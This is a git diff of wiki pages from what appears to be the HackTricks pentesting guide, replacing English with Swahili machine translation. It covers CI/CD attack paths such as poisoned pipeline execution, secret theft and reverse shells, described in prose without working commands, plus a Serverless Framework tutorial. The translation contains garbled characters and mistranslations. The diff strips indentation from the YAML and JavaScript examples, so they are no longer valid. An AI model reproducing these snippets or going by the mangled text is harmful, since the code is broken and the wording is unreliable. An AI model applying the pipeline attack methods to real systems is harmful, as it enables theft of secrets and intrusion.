other things inside the repo in their machines). - - **Compromise the pipeline** (check next section) +- **Leaks**: Ikiwa msimbo wako una leaks katika commits na mshambuliaji anaweza kufikia repo (kwa sababu ni ya umma au kwa sababu ana ufikiaji), anaweza kugundua leaks. +- **Access**: Ikiwa mshambuliaji anaweza **kufikia akaunti ndani ya jukwaa la VCS** anaweza kupata **nadharia zaidi na ruhusa**. +- **Register**: Baadhi ya majukwaa yataruhusu tu watumiaji wa nje kuunda akaunti. +- **SSO**: Baadhi ya majukwaa hayataruhusu watumiaji kujiandikisha, lakini yataruhusu mtu yeyote kufikia kwa SSO halali (hivyo mshambuliaji anaweza kutumia akaunti yake ya github kuingia kwa mfano). +- **Credentials**: Jina la mtumiaji + Pwd, alama za kibinafsi, funguo za ssh, alama za Oauth, cookies... kuna aina kadhaa za alama ambazo mtumiaji anaweza kuiba ili kufikia kwa njia fulani repo. +- **Webhooks**: Majukwaa ya VCS yanaruhusu kuunda webhooks. Ikiwa hazijalindwa na siri zisizoonekana, **mshambuliaji anaweza kuzitumia vibaya**. +- Ikiwa hakuna siri iliyowekwa, mshambuliaji anaweza kuzitumia vibaya webhook ya jukwaa la tatu +- Ikiwa siri iko katika URL, jambo hilo linaweza kutokea na mshambuliaji pia ana siri hiyo +- **Code compromise:** Ikiwa mhusika mbaya ana aina fulani ya **kuandika** ufikiaji juu ya repos, anaweza kujaribu **kuiingiza msimbo mbaya**. Ili kufanikiwa anaweza kuhitaji **kuzidi ulinzi wa tawi**. Vitendo hivi vinaweza kufanywa kwa malengo tofauti akilini: +- Kuathiri tawi kuu ili **kuathiri uzalishaji**. +- Kuathiri tawi kuu (au matawi mengine) ili **kuathiri mashine za waendelezaji** (kama kawaida wanatekeleza majaribio, terraform au mambo mengine ndani ya repo kwenye mashine zao). +- **Kuathiri pipeline** (angalia sehemu inayofuata) ## Pipelines Pentesting Methodology -The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\ -These files typically have a consistent name and format, for example ā€” Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code. +Njia ya kawaida zaidi ya kufafanua pipeline, ni kwa kutumia **faili ya usanidi wa CI iliyohifadhiwa katika hazina** ambayo pipeline inajenga. Faili hii inaelezea mpangilio wa kazi zinazotekelezwa, masharti yanayoathiri mtiririko, na mipangilio ya mazingira ya kujenga.\ +Faili hizi kwa kawaida zina jina na muundo wa kawaida, kwa mfano ā€” Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), na faili za YAML za GitHub Actions zilizo chini ya .github/workflows. Wakati inasababishwa, kazi ya pipeline **inasukuma msimbo** kutoka chanzo kilichochaguliwa (k.m. commit / branch), na **inaendesha amri zilizotajwa katika faili ya usanidi wa CI** dhidi ya msimbo huo. -Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**. +Kwa hivyo lengo kuu la mshambuliaji ni kwa namna fulani **kuathiri faili hizo za usanidi** au **amri wanazotekeleza**. ### PPE - Poisoned Pipeline Execution -The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands. +Njia ya Poisoned Pipeline Execution (PPE) inatumia ruhusa katika hazina ya SCM ili manipulative pipeline ya CI na kutekeleza amri hatari. Watumiaji wenye ruhusa zinazohitajika wanaweza kubadilisha faili za usanidi wa CI au faili nyingine zinazotumiwa na kazi ya pipeline ili kujumuisha amri mbaya. Hii "ina sumu" pipeline ya CI, ikisababisha kutekelezwa kwa amri hizi mbaya. -For a malicious actor to be successful performing a PPE attack he needs to be able to: +Ili mhusika mbaya afanikiwe kufanya shambulio la PPE anahitaji kuwa na uwezo wa: -- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access). - - Note that sometimes an **external PR count as "write access"**. -- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**. - - For this, he might need to be able to **bypass branch protections**. +- Kuwa na **ufikiaji wa kuandika kwenye jukwaa la VCS**, kwani kawaida pipelines husababishwa wakati kusukuma au ombi la kuvuta linafanywa. (Angalia mbinu za pentesting za VCS kwa muhtasari wa njia za kupata ufikiaji). +- Kumbuka kwamba wakati mwingine **PR ya nje inachukuliwa kama "ufikiaji wa kuandika"**. +- Hata kama ana ruhusa za kuandika, anahitaji kuwa na uhakika anaweza **kubadilisha faili ya usanidi wa CI au faili nyingine ambazo usanidi unategemea**. +- Kwa hili, anaweza kuhitaji kuwa na uwezo wa **kuzidi ulinzi wa tawi**. -There are 3 PPE flavours: +Kuna ladha 3 za PPE: -- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed. -- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config). -- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR. - - **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**. +- **D-PPE**: Shambulio la **Direct PPE** linatokea wakati mhusika **anabadilisha faili ya usanidi wa CI** ambayo itatekelezwa. +- **I-DDE**: Shambulio la **Indirect PPE** linatokea wakati mhusika **anabadilisha** **faili** ambayo faili ya usanidi wa CI ambayo itatekelezwa **inategemea** (kama faili ya kutengeneza au usanidi wa terraform). +- **Public PPE au 3PE**: Katika baadhi ya matukio pipelines zinaweza **kusababishwa na watumiaji ambao hawana ufikiaji wa kuandika katika repo** (na ambao huenda hata si sehemu ya shirika) kwa sababu wanaweza kutuma PR. +- **3PE Command Injection**: Kawaida, pipelines za CI/CD zitakuwa **kuziseti mazingira ya mabadiliko** na **taarifa kuhusu PR**. Ikiwa thamani hiyo inaweza kudhibitiwa na mshambuliaji (kama kichwa cha PR) na inatumika katika **mahali hatari** (kama kutekeleza **amri za sh**), mshambuliaji anaweza **kuingiza amri hapo**. ### Exploitation Benefits -Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation: +Kujua ladha 3 za kuathiri pipeline, hebu tuangalie ni nini mshambuliaji anaweza kupata baada ya uhalifu wa mafanikio: -- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible. - - Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**. -- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further. - - **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**. - - **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**. - - **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**. - - **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further. -- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**. +- **Secrets**: Kama ilivyotajwa hapo awali, pipelines zinahitaji **privileges** kwa kazi zao (kurejesha msimbo, kuujenga, kupeleka...) na ruhusa hizi kwa kawaida **zinatolewa katika siri**. Siri hizi kwa kawaida zinapatikana kupitia **mabadiliko ya mazingira au faili ndani ya mfumo**. Kwa hivyo mshambuliaji daima atajaribu kuhamasisha siri nyingi kadri iwezekanavyo. +- Kulingana na jukwaa la pipeline mshambuliaji **anaweza kuhitaji kutaja siri katika usanidi**. Hii inamaanisha kwamba ikiwa mshambuliaji cannot kubadilisha usanidi wa pipeline ya CI (**I-PPE** kwa mfano), anaweza **tu kuhamasisha siri ambazo pipeline hiyo ina**. +- **Computation**: Msimbo unatekelezwa mahali fulani, kulingana na mahali unatekelezwa mshambuliaji anaweza kuwa na uwezo wa pivot zaidi. +- **On-Premises**: Ikiwa pipelines zinafanywa kwenye premises, mshambuliaji anaweza kumaliza katika **mtandao wa ndani wenye ufikiaji wa rasilimali zaidi**. +- **Cloud**: Mshambuliaji anaweza kufikia **mashine nyingine katika wingu** lakini pia anaweza **kuhamasisha** alama za IAM/akaunti za huduma **tokens** kutoka kwake ili kupata **ufikiaji zaidi ndani ya wingu**. +- **Platforms machine**: Wakati mwingine kazi zitatekelezwa ndani ya **mashine za jukwaa la pipelines**, ambazo kawaida ziko ndani ya wingu bila **ufikiaji zaidi**. +- **Select it:** Wakati mwingine **jukwaa la pipelines litakuwa limepanga mashine kadhaa** na ikiwa unaweza **kubadilisha faili ya usanidi wa CI** unaweza **kuonyesha wapi unataka kutekeleza msimbo mbaya**. Katika hali hii, mshambuliaji labda atatekeleza shell ya kurudi kwenye kila mashine inayowezekana kujaribu kuifanyia kazi zaidi. +- **Compromise production**: Ikiwa uko ndani ya pipeline na toleo la mwisho linajengwa na kupelekwa kutoka kwake, unaweza **kuathiri msimbo ambao utaishia kutekelezwa katika uzalishaji**. ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) ni zana ya chanzo wazi kwa ajili ya kukagua mnyororo wa usambazaji wa programu yako kwa ajili ya kufuata usalama kulingana na [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Ukaguzi unalenga mchakato mzima wa SDLC, ambapo unaweza kufichua hatari kutoka wakati wa msimbo hadi wakati wa kupeleka. ### Top 10 CI/CD Security Risk -Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Angalia makala hii ya kuvutia kuhusu hatari 10 bora za CI/CD kulingana na Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it +- Kwenye kila jukwaa ambalo unaweza kukimbia kwa ndani utapata jinsi ya kulizindua ndani ili uweze kulipanga kama unavyotaka kulijaribu - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code. +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** ni zana ya uchambuzi wa msimbo wa statiki kwa ajili ya miundombinu kama msimbo. ## References - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md index bf1343702..181687cb4 100644 --- a/src/pentesting-ci-cd/serverless.com-security.md +++ b/src/pentesting-ci-cd/serverless.com-security.md @@ -6,7 +6,7 @@ ### Organization -An **Organization** is the highest-level entity within the Serverless Framework ecosystem. It represents a **collective group**, such as a company, department, or any large entity, that encompasses multiple projects, teams, and applications. +An **Organization** is the highest-level entity within the Serverless Framework ecosystem. It represents a **kikundi cha pamoja**, such as a company, department, or any large entity, that encompasses multiple projects, teams, and applications. ### Team @@ -19,181 +19,163 @@ An **App** is a logical grouping of related services within an Organization. It ### **Services** A **Service** is the core component of a Serverless application. It represents your entire serverless project, encapsulating all the functions, configurations, and resources needed. It's typically defined in a `serverless.yml` file, a service includes metadata like the service name, provider configurations, functions, events, resources, plugins, and custom variables. - ```yaml service: my-service provider: - name: aws - runtime: nodejs14.x +name: aws +runtime: nodejs14.x functions: - hello: - handler: handler.hello +hello: +handler: handler.hello ``` -
Function -A **Function** represents a single serverless function, such as an AWS Lambda function. It contains the code that executes in response to events. - -It's defined under the `functions` section in `serverless.yml`, specifying the handler, runtime, events, environment variables, and other settings. +A **Function** inawakilisha kazi moja isiyo na seva, kama kazi ya AWS Lambda. Inajumuisha msimbo unaotekelezwa kama jibu kwa matukio. +Imeainishwa chini ya sehemu ya `functions` katika `serverless.yml`, ikitaja mpangilio, mazingira ya utekelezaji, matukio, mabadiliko ya mazingira, na mipangilio mingine. ```yaml functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get +hello: +handler: handler.hello +events: +- http: +path: hello +method: get ``` -
Event -**Events** are triggers that invoke your serverless functions. They define how and when a function should be executed. - -Common event types include HTTP requests, scheduled events (cron jobs), database events, file uploads, and more. +**Matukio** ni vichocheo vinavyosababisha kazi zako zisizo na seva. Vinabainisha jinsi na lini kazi inapaswa kutekelezwa. +Aina za matukio za kawaida ni pamoja na maombi ya HTTP, matukio ya ratiba (kazi za cron), matukio ya hifadhidata, upakuaji wa faili, na mengineyo. ```yaml functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - - schedule: - rate: rate(10 minutes) +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +- schedule: +rate: rate(10 minutes) ``` -
-Resource +Rasilimali -**Resources** allow you to define additional cloud resources that your service depends on, such as databases, storage buckets, or IAM roles. - -They are specified under the `resources` section, often using CloudFormation syntax for AWS. +**Rasilimali** zinakuwezesha kufafanua rasilimali za ziada za wingu ambazo huduma yako inategemea, kama vile hifadhidata, ndoo za hifadhi, au majukumu ya IAM. +Zinabainishwa chini ya sehemu ya `resources`, mara nyingi kwa kutumia sintaksia ya CloudFormation kwa AWS. ```yaml resources: - Resources: - MyDynamoDBTable: - Type: AWS::DynamoDB::Table - Properties: - TableName: my-table - AttributeDefinitions: - - AttributeName: id - AttributeType: S - KeySchema: - - AttributeName: id - KeyType: HASH - ProvisionedThroughput: - ReadCapacityUnits: 1 - WriteCapacityUnits: 1 +Resources: +MyDynamoDBTable: +Type: AWS::DynamoDB::Table +Properties: +TableName: my-table +AttributeDefinitions: +- AttributeName: id +AttributeType: S +KeySchema: +- AttributeName: id +KeyType: HASH +ProvisionedThroughput: +ReadCapacityUnits: 1 +WriteCapacityUnits: 1 ``` -
-Provider +Mtoa huduma The **Provider** object specifies the cloud service provider (e.g., AWS, Azure, Google Cloud) and contains configuration settings relevant to that provider. -It includes details like the runtime, region, stage, and credentials. - +Inajumuisha maelezo kama vile runtime, eneo, hatua, na akreditivu. ```yaml yamlCopy codeprovider: - name: aws - runtime: nodejs14.x - region: us-east-1 - stage: dev +name: aws +runtime: nodejs14.x +region: us-east-1 +stage: dev ``` -
-Stage and Region - -The stage represents different environments (e.g., development, staging, production) where your service can be deployed. It allows for environment-specific configurations and deployments. +Hatua na Eneo +Hatua inawakilisha mazingira tofauti (kwa mfano, maendeleo, uanzishaji, uzalishaji) ambapo huduma yako inaweza kuwekwa. Inaruhusu usanidi na uwekaji wa mazingira maalum. ```yaml provider: - stage: dev +stage: dev ``` - -The region specifies the geographical region where your resources will be deployed. It's important for latency, compliance, and availability considerations. - +Mkoa unaelezea eneo la kijiografia ambapo rasilimali zako zitawekwa. Ni muhimu kwa sababu za ucheleweshaji, kufuata sheria, na upatikanaji. ```yaml provider: - region: us-west-2 +region: us-west-2 ``` -
Plugins -**Plugins** extend the functionality of the Serverless Framework by adding new features or integrating with other tools and services. They are defined under the `plugins` section and installed via npm. - +**Plugins** huongeza uwezo wa Serverless Framework kwa kuongeza vipengele vipya au kuunganishwa na zana na huduma nyingine. Zimefafanuliwa chini ya sehemu ya `plugins` na zinawekwa kupitia npm. ```yaml plugins: - - serverless-offline - - serverless-webpack +- serverless-offline +- serverless-webpack ``` -
-Layers - -**Layers** allow you to package and manage shared code or dependencies separately from your functions. This promotes reusability and reduces deployment package sizes. They are defined under the `layers` section and referenced by functions. +Tabaka +**Tabaka** zinakuwezesha kufunga na kusimamia msimbo au utegemezi wa pamoja tofauti na kazi zako. Hii inakuza matumizi tena na kupunguza ukubwa wa pakiti za kutekeleza. Zin定义åœØ`layers` sehemu na kutajwa na kazi. ```yaml layers: - commonLibs: - path: layer-common +commonLibs: +path: layer-common functions: - hello: - handler: handler.hello - layers: - - { Ref: CommonLibsLambdaLayer } +hello: +handler: handler.hello +layers: +- { Ref: CommonLibsLambdaLayer } ``` -
Variables and Custom Variables -**Variables** enable dynamic configuration by allowing the use of placeholders that are resolved at deployment time. +**Variables** zinawezesha usanidi wa dinamik kwa kuruhusu matumizi ya nafasi za kubadilisha ambazo zinatatuliwa wakati wa kutekeleza. -- **Syntax:** `${variable}` syntax can reference environment variables, file contents, or other configuration parameters. +- **Syntax:** `${variable}` syntax inaweza kurejelea mazingira ya mazingira, maudhui ya faili, au vigezo vingine vya usanidi. - ```yaml - functions: - hello: - handler: handler.hello - environment: - TABLE_NAME: ${self:custom.tableName} - ``` +```yaml +functions: +hello: +handler: handler.hello +environment: +TABLE_NAME: ${self:custom.tableName} +``` -* **Custom Variables:** The `custom` section is used to define user-specific variables and configurations that can be reused throughout the `serverless.yml`. +* **Custom Variables:** Sehemu ya `custom` inatumika kufafanua vigezo na usanidi maalum wa mtumiaji ambavyo vinaweza kutumika tena katika `serverless.yml`. - ```yaml - custom: - tableName: my-dynamodb-table - stage: ${opt:stage, 'dev'} - ``` +```yaml +custom: +tableName: my-dynamodb-table +stage: ${opt:stage, 'dev'} +```
@@ -201,103 +183,92 @@ functions: Outputs -**Outputs** define the values that are returned after a service is deployed, such as resource ARNs, endpoints, or other useful information. They are specified under the `outputs` section and often used to expose information to other services or for easy access post-deployment. - +**Outputs** zinafafanua thamani ambazo zinarejeshwa baada ya huduma kutekelezwa, kama vile ARNs za rasilimali, maeneo ya mwisho, au taarifa nyingine muhimu. Zinabainishwa chini ya sehemu ya `outputs` na mara nyingi hutumiwa kufichua taarifa kwa huduma nyingine au kwa ufikiaji rahisi baada ya kutekelezwa. ```yaml Ā”outputs: - ApiEndpoint: - Description: "API Gateway endpoint URL" - Value: - Fn::Join: - - "" - - - "https://" - - Ref: ApiGatewayRestApi - - ".execute-api." - - Ref: AWS::Region - - ".amazonaws.com/" - - Ref: AWS::Stage +ApiEndpoint: +Description: "API Gateway endpoint URL" +Value: +Fn::Join: +- "" +- - "https://" +- Ref: ApiGatewayRestApi +- ".execute-api." +- Ref: AWS::Region +- ".amazonaws.com/" +- Ref: AWS::Stage ``` -
IAM Roles and Permissions -**IAM Roles and Permissions** define the security credentials and access rights for your functions and other resources. They are managed under the `provider` or individual function settings to specify necessary permissions. - +**IAM Roles and Permissions** zinaelezea sifa za usalama na haki za ufikiaji kwa kazi zako na rasilimali nyingine. Zinapaswa kusimamiwa chini ya mipangilio ya `provider` au mipangilio ya kazi binafsi ili kubainisha ruhusa zinazohitajika. ```yaml provider: - [...] - iam: - role: - statements: - - Effect: 'Allow' - Action: - - 'dynamodb:PutItem' - - 'dynamodb:Get*' - - 'dynamodb:Scan*' - - 'dynamodb:UpdateItem' - - 'dynamodb:DeleteItem' - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} +[...] +iam: +role: +statements: +- Effect: 'Allow' +Action: +- 'dynamodb:PutItem' +- 'dynamodb:Get*' +- 'dynamodb:Scan*' +- 'dynamodb:UpdateItem' +- 'dynamodb:DeleteItem' +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} ``` -
-Environment Variables - -**Variables** allow you to pass configuration settings and secrets to your functions without hardcoding them. They are defined under the `environment` section for either the provider or individual functions. +Vigezo vya Mazingira +**Vigezo** vinakuruhusu kupitisha mipangilio na siri kwa kazi zako bila kuzihardcode. Vimewekwa chini ya sehemu ya `environment` kwa mtoa huduma au kazi binafsi. ```yaml provider: - environment: - STAGE: ${self:provider.stage} +environment: +STAGE: ${self:provider.stage} functions: - hello: - handler: handler.hello - environment: - TABLE_NAME: ${self:custom.tableName} +hello: +handler: handler.hello +environment: +TABLE_NAME: ${self:custom.tableName} ``` -
Dependencies -**Dependencies** manage the external libraries and modules your functions require. They typically handled via package managers like npm or pip, and bundled with your deployment package using tools or plugins like `serverless-webpack`. - +**Dependencies** husimamia maktaba na moduli za nje ambazo kazi zako zinahitaji. Kwa kawaida zinashughulikiwa kupitia wasimamizi wa pakiti kama npm au pip, na kufungwa na kifurushi chako cha kutekeleza kwa kutumia zana au nyongeza kama `serverless-webpack`. ```yaml plugins: - - serverless-webpack +- serverless-webpack ``` -
Hooks -**Hooks** allow you to run custom scripts or commands at specific points in the deployment lifecycle. They are defined using plugins or within the `serverless.yml` to perform actions before or after deployments. - +**Hooks** hukuruhusu kuendesha skripti au amri maalum katika hatua maalum za mzunguko wa maisha ya kutekeleza. Zinapangwa kwa kutumia plugins au ndani ya `serverless.yml` ili kutekeleza vitendo kabla au baada ya kutekeleza. ```yaml custom: - hooks: - before:deploy:deploy: echo "Starting deployment..." +hooks: +before:deploy:deploy: echo "Starting deployment..." ``` -
### Tutorial -This is a summary of the official tutorial [**from the docs**](https://www.serverless.com/framework/docs/tutorial): - -1. Create an AWS account (Serverless.com start in AWS infrastructure) -2. Create an account in serverless.com -3. Create an app: +Hii ni muhtasari wa mafunzo rasmi [**kutoka kwenye hati**](https://www.serverless.com/framework/docs/tutorial): +1. Unda akaunti ya AWS (Serverless.com inaanza katika miundombinu ya AWS) +2. Unda akaunti katika serverless.com +3. Unda programu: ```bash # Create temp folder for the tutorial mkdir /tmp/serverless-tutorial @@ -313,26 +284,22 @@ serverless #Choose first one (AWS / Node.js / HTTP API) ## Create A New App ## Indicate a name like "tutorialapp) ``` - -This should have created an **app** called `tutorialapp` that you can check in [serverless.com](serverless.com-security.md) and a folder called `Tutorial` with the file **`handler.js`** containing some JS code with a `helloworld` code and the file **`serverless.yml`** declaring that function: +Hii inapaswa kuwa imetengeneza **app** inayoitwa `tutorialapp` ambayo unaweza kuangalia katika [serverless.com](serverless.com-security.md) na folda inayoitwa `Tutorial` yenye faili **`handler.js`** inayokuwa na baadhi ya msimbo wa JS wenye msimbo wa `helloworld` na faili **`serverless.yml`** ikitangaza kazi hiyo: {{#tabs }} {{#tab name="handler.js" }} - ```javascript exports.hello = async (event) => { - return { - statusCode: 200, - body: JSON.stringify({ - message: "Go Serverless v4! Your function executed successfully!", - }), - } +return { +statusCode: 200, +body: JSON.stringify({ +message: "Go Serverless v4! Your function executed successfully!", +}), +} } ``` - {{#endtab }} {{#tab name="serverless.yml" }} - ```yaml # "org" ensures this Service is used with the correct Serverless Framework Access Key. org: testing12342 @@ -342,130 +309,122 @@ app: tutorialapp service: Tutorial provider: - name: aws - runtime: nodejs20.x +name: aws +runtime: nodejs20.x functions: - hello: - handler: handler.hello - events: - - httpApi: - path: / - method: get +hello: +handler: handler.hello +events: +- httpApi: +path: / +method: get ``` - {{#endtab }} {{#endtabs }} -4. Create an AWS provider, going in the **dashboard** in `https://app.serverless.com//settings/providers?providerId=new&provider=aws`. - 1. To give `serverless.com` access to AWS It will ask to run a cloudformation stack using this config file (at the time of this writing): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) - 2. This template generates a role called **`SFRole-`** with **`arn:aws:iam::aws:policy/AdministratorAccess`** over the account with a Trust Identity that allows `Serverless.com` AWS account to access the role. +4. Unda mtoa huduma wa AWS, ukitembea kwenye **dashibodi** katika `https://app.serverless.com//settings/providers?providerId=new&provider=aws`. +1. Ili kutoa `serverless.com` ufikiaji wa AWS itahitaji kuendesha stack ya cloudformation ikitumia faili hii ya usanidi (wakati wa kuandika hii): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) +2. Kiolezo hiki kinaunda jukumu linaloitwa **`SFRole-`** lenye **`arn:aws:iam::aws:policy/AdministratorAccess`** juu ya akaunti yenye Kitambulisho cha Kuamini kinachoruhusu akaunti ya `Serverless.com` ya AWS kufikia jukumu hilo.
Yaml roleTemplate - ```yaml Description: This stack creates an IAM role that can be used by Serverless Framework for use in deployments. Resources: - SFRole: - Type: AWS::IAM::Role - Properties: - AssumeRolePolicyDocument: - Version: "2012-10-17" - Statement: - - Effect: Allow - Principal: - AWS: arn:aws:iam::486128539022:root - Action: - - sts:AssumeRole - Condition: - StringEquals: - sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}" - Path: / - RoleName: !Ref RoleName - ManagedPolicyArns: - - arn:aws:iam::aws:policy/AdministratorAccess - ReporterFunction: - Type: Custom::ServerlessFrameworkReporter - Properties: - ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec" - OrgUid: !Ref OrgUid - RoleArn: !GetAtt SFRole.Arn - Alias: !Ref Alias +SFRole: +Type: AWS::IAM::Role +Properties: +AssumeRolePolicyDocument: +Version: "2012-10-17" +Statement: +- Effect: Allow +Principal: +AWS: arn:aws:iam::486128539022:root +Action: +- sts:AssumeRole +Condition: +StringEquals: +sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}" +Path: / +RoleName: !Ref RoleName +ManagedPolicyArns: +- arn:aws:iam::aws:policy/AdministratorAccess +ReporterFunction: +Type: Custom::ServerlessFrameworkReporter +Properties: +ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec" +OrgUid: !Ref OrgUid +RoleArn: !GetAtt SFRole.Arn +Alias: !Ref Alias Outputs: - SFRoleArn: - Description: "ARN for the IAM Role used by Serverless Framework" - Value: !GetAtt SFRole.Arn +SFRoleArn: +Description: "ARN for the IAM Role used by Serverless Framework" +Value: !GetAtt SFRole.Arn Parameters: - OrgUid: - Description: Serverless Framework Org Uid - Type: String - Alias: - Description: Serverless Framework Provider Alias - Type: String - RoleName: - Description: Serverless Framework Role Name - Type: String +OrgUid: +Description: Serverless Framework Org Uid +Type: String +Alias: +Description: Serverless Framework Provider Alias +Type: String +RoleName: +Description: Serverless Framework Role Name +Type: String ``` -
-Trust Relationship - +Uhusiano wa Kuamini ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::486128539022:root" - }, - "Action": "sts:AssumeRole", - "Condition": { - "StringEquals": { - "sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::486128539022:root" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb" +} +} +} +] } ``` -
-5. The tutorial asks to create the file `createCustomer.js` which will basically create a new API endpoint handled by the new JS file and asks to modify the `serverless.yml` file to make it generate a **new DynamoDB table**, define an **environment variable**, the role that will be using the generated lambdas. +5. Mafunzo yanahitaji kuunda faili `createCustomer.js` ambayo kimsingi itaunda kiunganishi kipya cha API kinachoshughulikiwa na faili mpya ya JS na yanahitaji kubadilisha faili `serverless.yml` ili kufanya iweze kuunda **meza mpya ya DynamoDB**, kufafanua **kigezo cha mazingira**, jukumu ambalo litakuwa likitumia lambdas zilizozalishwa. {{#tabs }} {{#tab name="createCustomer.js" }} - ```javascript "use strict" const AWS = require("aws-sdk") module.exports.createCustomer = async (event) => { - const body = JSON.parse(Buffer.from(event.body, "base64").toString()) - const dynamoDb = new AWS.DynamoDB.DocumentClient() - const putParams = { - TableName: process.env.DYNAMODB_CUSTOMER_TABLE, - Item: { - primary_key: body.name, - email: body.email, - }, - } - await dynamoDb.put(putParams).promise() - return { - statusCode: 201, - } +const body = JSON.parse(Buffer.from(event.body, "base64").toString()) +const dynamoDb = new AWS.DynamoDB.DocumentClient() +const putParams = { +TableName: process.env.DYNAMODB_CUSTOMER_TABLE, +Item: { +primary_key: body.name, +email: body.email, +}, +} +await dynamoDb.put(putParams).promise() +return { +statusCode: 201, +} } ``` - {{#endtab }} {{#tab name="serverless.yml" }} - ```yaml # "org" ensures this Service is used with the correct Serverless Framework Access Key. org: testing12342 @@ -475,388 +434,379 @@ app: tutorialapp service: Tutorial provider: - name: aws - runtime: nodejs20.x - environment: - DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage} - iam: - role: - statements: - - Effect: "Allow" - Action: - - "dynamodb:PutItem" - - "dynamodb:Get*" - - "dynamodb:Scan*" - - "dynamodb:UpdateItem" - - "dynamodb:DeleteItem" - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} +name: aws 